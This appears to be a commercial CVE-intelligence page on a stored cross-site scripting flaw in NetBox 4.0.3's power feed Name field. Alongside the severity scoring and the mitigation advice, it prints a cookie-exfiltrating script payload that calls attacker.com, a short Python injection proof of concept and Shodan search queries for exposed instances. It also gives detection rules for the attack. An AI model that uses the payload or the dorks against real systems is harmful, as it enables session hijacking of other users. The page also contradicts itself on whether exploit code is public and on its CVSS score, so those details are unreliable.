☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-40740

CVE-2024-40740 Cross-Site Scripting in Netbox
📅 PUBLISHED: 2024-07-09 00:00 UTC 🔄 UPDATED: 2026-08-12 09:04 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.09%
👁️
0.09% probability
2.3× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: v4.0.3
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-40740 is a stored Cross-Site Scripting (XSS) vulnerability in NetBox v4.0.3, specifically within the power feed editing interface at /dcim/power-feeds/{id}/edit/. An authenticated attacker with sufficient privileges can inject arbitrary JavaScript or HTML into the Name parameter, which is then stored and executed in the browsers of other users viewing the affected power feed. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for authentication and user interaction. No official patch or exploit code is publicly available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

NetBox is a Python/Django-based application distributed via PyPI and GitHub. This vulnerability affects the core application code, not a third-party package. However, organizations using NetBox should verify their deployment version and apply any available security updates from the vendor. The lack of a patch increases supply chain risk for unpatched instances.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated user)
  • User Interaction: Required (victim must view the edited power feed)
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored XSS can be used to target administrators or other privileged users.

Deep Dive & Mechanics

The vulnerability exists in the power feed editing form. The Name field is not properly sanitized or encoded before being stored in the database and later rendered in the web interface. When a user visits /dcim/power-feeds/{id}/edit/ or the detail view of a power feed, the malicious payload is executed in their browser context.

Root Cause: Lack of output encoding for the Name field in the template rendering the power feed details. The application uses Django templates, but the field is likely rendered with |safe filter or without proper escaping.

Attack Flow:

  1. Attacker authenticates to NetBox.
  2. Attacker navigates to /dcim/power-feeds/{id}/edit/ for an existing power feed.
  3. Attacker injects a payload like <script>alert('XSS')</script> into the Name parameter.
  4. The payload is stored in the database.
  5. When any user (including admin) views the power feed, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (NetBox v4.0.3):

# In views or template rendering, the Name field is not escaped
# Example template snippet:
{{ power_feed.name }}

Patched Code (Hypothetical):

# Properly escape the output
{{ power_feed.name|escape }}

No official patch exists. The fix would involve ensuring all user-supplied fields are properly escaped in templates.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • NetBox v4.0.3 instance
  • Authenticated user with permissions to edit power feeds

Exploitation Steps:

  1. Log in to NetBox.
  2. Navigate to /dcim/power-feeds/1/edit/ (replace 1 with a valid ID).
  3. In the Name field, inject a payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Submit the form.
  5. When an admin views the power feed, the script executes and exfiltrates cookies.

Proof-of-Concept (Python script):

import requests

target = "http://netbox.local"
session = requests.Session()
# Authenticate first
login_data = {"username": "attacker", "password": "password"}
session.post(f"{target}/login/", data=login_data)

# Inject XSS payload
payload = {"name": "<script>alert('XSS')</script>"}
session.post(f"{target}/dcim/power-feeds/1/edit/", data=payload)
print("Payload injected")

Blue Team

Detection:

  • Monitor for unusual Name field values containing <script> or event handlers.
  • Review logs for POST requests to /dcim/power-feeds/*/edit/ with suspicious parameters.
  • Use WAF rules to block common XSS patterns.

Mitigation:

  • Apply input validation and output encoding.
  • Restrict edit permissions to trusted users only.
  • Use Content Security Policy (CSP) headers to limit script execution.

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests to /dcim/power-feeds/*/edit/ with name parameter containing <script> tags.
  • Logs: Application logs showing name field with HTML/JavaScript content.
  • File: No file-based IOCs; stored in database.
  • Behavior: Unexpected JavaScript execution in NetBox interface.

Detection Engineering

YARA Rule

rule CVE_2024_40740_XSS {
    meta:
        description = "Detects XSS payload in NetBox power feed name field"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-40740"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: NetBox Power Feed XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in NetBox power feed name field
author: Valters IT
logsource:
    category: web
    product: netbox
detection:
    selection:
        http.method: POST
        http.url: '/dcim/power-feeds/*/edit/'
        http.body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of HTML in name field (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-40740 NetBox XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/dcim/power-feeds/"; http_uri; content:"/edit/"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Restrict edit permissions for power feeds to only trusted administrators.
  2. Implement a Web Application Firewall (WAF) rule to block XSS payloads.
  3. Monitor logs for suspicious activity.

Long-term Fix:

  • Upgrade to a patched version when available.
  • Apply output encoding to all user-supplied fields in templates.
  • Conduct a security audit of all input fields.

Workaround:

  • Manually sanitize the Name field in the database or application code.
  • Use Django's escape filter in templates.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"NetBox"
http.favicon.hash:-1776962843

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-40740/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.